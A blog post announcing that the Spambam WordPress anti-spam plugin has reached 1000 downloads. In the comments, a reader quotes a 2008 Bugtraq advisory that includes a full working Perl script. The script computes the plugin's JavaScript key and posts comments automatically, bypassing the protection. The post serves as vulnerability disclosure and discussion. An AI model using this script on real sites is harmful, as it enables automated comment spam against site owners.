Spambam hits 1000 downloads

The Spanner started to get over 20-30 comment spams per day, I wasn’t happy! I decided to write a WordPress plugin that would prevent automated comment spam. The Spanner hasn’t had a single comment spam since I installed Spambam.

It works by creating a secret spambam key and storing this in a cookie generated by javascript, the spammer doesn’t execute javascript as they need to directly submit to the wordpress action file otherwise it would slow them down. The plugin is 100% free and I have also created a generic one which can be used by any form/blog.

WordPress version

Generic version

3 Responses to “Spambam hits 1000 downloads”

  1. martijn writes:

    when i saw this, i hoped i stumbled upon a nice form protection solution, though after some googling i did found it has a by design build serious flaw that does makes it bypassed easely.

    see:

    http://archive.cert.uni-stuttgart.de/bugtraq/2008/01/msg00197.html

    The attached exploit demonstrates that the WordPress SpamBam plugin can
    be bypassed due to relying on the client for security.

    Vulnerable software:
    SpamBam (http://wordpress.org/extend/plugins/spambam/) by Gareth Heyes

    Vulnerability:
    No matter how hard you ofuscate or encrypt your code, never, under no
    circunstances, rely any security aspect on the client. Never!

    How the plugin works:
    It generates a pseudo-random code both on the client and the server to
    generate a key.
    On form submit, both key values are checked and they should match to
    allow comment insertion.

    How the exploit works:
    It does nothing but acting as a client. It parses the html, extracts
    the javascript, process it to calculate the key and fills the hidden
    field with it.

    Solution:
    There’s no fix for this. It’s a design flaw.

    #!/usr/bin/perl -w

    # Defeating SpamBam exploit
    # by Jose Palazon (josem.palazon@xxxxxxxxx) (a.k.a. palako)

    # Vulnerable software:
    # SpamBam (http://wordpress.org/extend/plugins/spambam/) by Gareth Heyes

    # Vulnerability:
    # No matter how hard you ofuscate or encrypt your code, never, under no circunstances, rely
    # any security aspect on the client. Never!

    # How the plugin works:
    # It generates a pseudo-random code both on the client and the server to generate a key.
    # On form submit, both key values are checked and they should match to allow comment insertion.

    #How the exploit works:
    # It does nothing but acting as a client. It parses the html, extracts the javascript, process it
    # to calculate the key and fills the hidden field with it.

    # Solution:
    # Sorry guys but there’s no fix for this. It’ss just a design flaw.

    use WWW::Mechanize;
    use JavaScript::SpiderMonkey;

    my $tmpContent;
    my $javascriptCode;
    my $spamBamKey;

    die (“Usage: spambam.pl <post url> <author> <email> <comment>\n”) unless $ARGV[3];

    my $url = $ARGV[0];
    my $author = $ARGV[1];
    my $email = $ARGV[2];
    my $comment = $ARGV[3];

    my $mech = WWW::Mechanize->new( autocheck => 1 );

    $mech->get($url);

    # WWW::Mechanize doesn’t support javascript, so the field comment_spambamKey won’t be
    # recognized by $mech->field. Thus, I’ll make an update_html adding the field, and for
    # this purpose I save first the original contents. Indeed, substitition occurs via the
    # javascript callback function “extractKey”
    $tmpContent = $mech->content;

    # Eliminate carriage returns to apply sed. Later I’ll have to restore them
    # to execute the javascript code, as not every line is semicolon terminated.
    # That’s the reason of the __WHO_BAMS_WHO__ string.
    $_ = $mech->content;
    s/\n/__WHO_BAMS_WHO__/g;

    # Extract the javascript code and the name of the variable where the key is going to be calculated
    /<script type=”text\/javascript”>(.*)document\.write\(‘<input type=”hidden” name=”comment_spambamKey” value=”‘\+(.*)\+'”>’\);/g;
    $javascriptCode = $1;
    $spamBamKey = $2;

    # Add the javascript instruction which will comunicate the key to the perl code.
    $javascriptCode .= “\nextractKey($spamBamKey);”;

    my $js = JavaScript::SpiderMonkey->new();
    $js->init(); # Initialize Runtime/Context

    # Define perl callback for extracting the key from the javascript code
    $js->function_set(“extractKey”, sub { $tmpContent =~ s/<\/form>/<input type=\”hidden\” name=\”comment_spambamKey\” value=\”@_\”><\/form>/; });

    # Restore Carriage returns and execute javascript code
    $javascriptCode =~ s/__WHO_BAMS_WHO__/\n/g;
    my $rc = $js->eval($javascriptCode);
    $js->destroy();

    # Process form
    $mech->update_html( $tmpContent );
    $mech->form_number(1);
    $mech->field(“author”, $author);
    $mech->field(“email”, $email);
    $mech->field(“comment”, $comment);
    $mech->submit();

    printf(“Check it. Comment should have been added\n”);

  2. Gareth Heyes writes:

    @martijn

    Yep it’s true the exploit works using javascript server side, so spambam isn’t perfect but I’ve haven’t noticed a increase in spam since the exploit was released. So I’ll continue to use it while my blog stays spam free

  3. martijn writes:

    ok nice, despite the exploit it still adds effective protection.